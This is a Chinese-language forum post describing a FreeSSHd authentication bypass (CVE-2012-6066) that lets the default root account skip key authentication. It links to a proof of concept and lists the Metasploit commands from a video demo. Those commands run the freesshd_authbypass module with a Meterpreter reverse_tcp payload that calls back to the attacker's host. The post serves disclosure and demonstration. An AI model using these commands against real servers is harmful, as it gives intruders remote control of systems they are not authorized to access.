越過 FreeSSHd 的安全授權機制 (含影片示範)

z24374203

主題：越過 FreeSSHd 的安全授權機制 (含影片示範)

發佈日期：2010/08/11(首次發現)、2012/12/01(發佈PoC)

影響版本：Freesshd v 1.2.6 (含之前所有版本)

漏洞編號：CVE-2012-6066

說明：
FreeSSHd 一個免費的 SSH Server ，原本是用來確保網路連線安全的機制，現在被踢爆具有越過( By Pass)安全機制的方式。
你只需要使用預設的帳號(root)，就可以越過加密金鑰的認證。

概念驗證程式(PoC)下載處：http://www.exploit-db.com/exploits/11842/

其它參考網站說明：http://www.securityfocus.com/bid/56785/info

影片內指令：
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.178.22
run
use exploit/windows/ssh/freesshd_authbypass
set RHOST 192.168.178.22
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.26
exploit
getuid
sysinfo

From https://www.facebook.com/netwargame

divale

這玩意出了問題，竟然這麼久都沒修補，太可怕了
不敢用這軟體